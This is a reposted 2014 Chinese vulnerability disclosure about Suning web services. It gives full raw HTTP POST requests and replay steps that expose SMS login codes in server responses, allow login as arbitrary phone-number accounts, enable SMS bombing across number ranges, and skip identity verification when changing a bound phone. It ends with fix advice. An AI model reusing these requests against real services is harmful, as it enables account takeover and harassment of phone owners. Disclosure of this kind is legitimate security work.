记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞

2014-12-20 18:00

正常登录易购,打开我的互联界面,选择登录模式为短信验证码,获取验证码。

http://10035.suning.com/mysnnet/login.htm

1.png



手机号码不是本人,点了验证码也没有用啊。没关系,我们重放一下发送验证码的post请求

POST /myauth/checkMobile.htm HTTP/1.1

Host: 10035.suning.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0

Accept: */*

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=utf-8

X-Requested-With: XMLHttpRequest

Referer: http://10035.suning.com/mysnnet/login.htm

Content-Length: 21

Cookie: WC_PERSISTENT=eRWA662%2bcQv%2bqzAZapSgr8SlGSc%3d%0a%3b2014%2d10%2d11+10%3a00%3a58%2e8%5f1267087194037%2d457%5f10052; _snma=1%7C141299281670776283%7C1412992816707%7C1413188136111%7C1413188142911%7C64%7C4; idsLoginUserIdLastTime=**********; WC_SERVER=6; totalProdQty=2; SN_CITY=100_100_1000173_9173_10001731_11365_2_0; cityId=9173; districtId=11365; _device_session_id=p_c7d*******32b06abc5e5; WC_SESSION_ESTABLISHED=true; WC_ACTIVEPOINTER=%2d7%2c10052; cartv20=6*****=******** custno=2201771585; WC_ML=L2; WC_RF=H; Login_UserName=+++++++g.com; _snmp=141318813764991770; _snmc=1; _snsr=direct%7Cdirect%7C%7C%7C; _snmb=141318143718696794%7C1413188142916%7C1413188142913%7C52; webcall_last_id=2201771585; nick=%E5%*******%BF%80%E6%B5%AA...; logonStatus=2; authId=si9462D4D359D152F4129CA6EC42274DE8; SN_CLIENT_ID=c347f1b18d614df1aa3f6c18477b3ef4; WC_USERACTIVITY_30000*******l%0ah3Dj5Lc2vnh33WrJoOE3zKQpMppCLQ%3d%3d; _snmz=141318814966888535%7C%28590%2C182%29

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



newMobile=1709258xxxx

以下为重放post请求的具体截图,可以看见返回值里面的smcCode已经提前显示出来了,正常逻辑是显示在手机短信里面的。



2.png



接下来就是遍历用户登录了,各种查询,业务办理

3.png



另外再提一下,进入用户的界面后,服务密码修改这块,对原密码的输入错误次数没有任何限制,用被暴力破解的后果,

4.png





另外1个漏洞,苏宁易购广告联盟



验证当前用户身份存在绕过验证码策略,对手机进行短信轰炸。

http://union.suning.com/aas/myinfo/network/my-info-manager!updatePromobile.action?step=1



5.png





抓取验证身份-获取短信验证码数据包

POST /aas/myinfo/network/my-info-manager!sendCode.action HTTP/1.1

Host: union.suning.com

User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

Accept: */*

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://union.suning.com/aas/myinfo/network/my-info-manager!updatePromobile.action?step=1

Content-Length: 28

Cookie: WC_PERSISTENT=raODDuFWOIUODRfaWwog%2fxQ5QIM%3d%0a%3b2014%2d09%2d25+10%3a51%3a26%2e914%5f1267087194037%2d457%5f10052;



proMobile=186XXXXXX&type=u



通过HTTP协议重放攻击,设置proMobile手机号码字段值的范围,可遍历所有手机号码进行短信轰炸。

6.png



7.png



8.png





绕过验证码



9.png



7777.png



正常页面处理逻辑为1,验证身份(输入验证码)-2、修改手机(输入验证码)-3、修改成功。



再次修改手机时可以直接绕过验证身份(输入验证码)链接

http://union.suning.com/aas/myinfo/network/my-info-manager!updatePromobile.action?step=1



666666.png



复制输入修改新手机186xxxx94xx(输入验证码)链接,即可直接修改新手机并绑定成功。

http://union.suning.com/aas/myinfo/network/my-info-manager!updatePromobile.action?step=2



rrrrr.png



http://union.suning.com/aas/myinfo/network/my-info-manager!updatePromobile.action?step=3

ttttttttt.png



漏洞证明:

已经证明

修复方案:

1、不将短信验证码显示在http返回值里面

2、服务密码这块加入输入错误次数的限制,防止暴力破解

3、加密,时间戳,每个包要有包序号,每次同向加1,收到重复序号认为是攻击,可以抵御重放攻击。

4、验证更换手机密码步骤之间的关联和有效性。

知识来源: www.wooyun.org/bugs/wooyun-2014-082114

阅读:381658 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云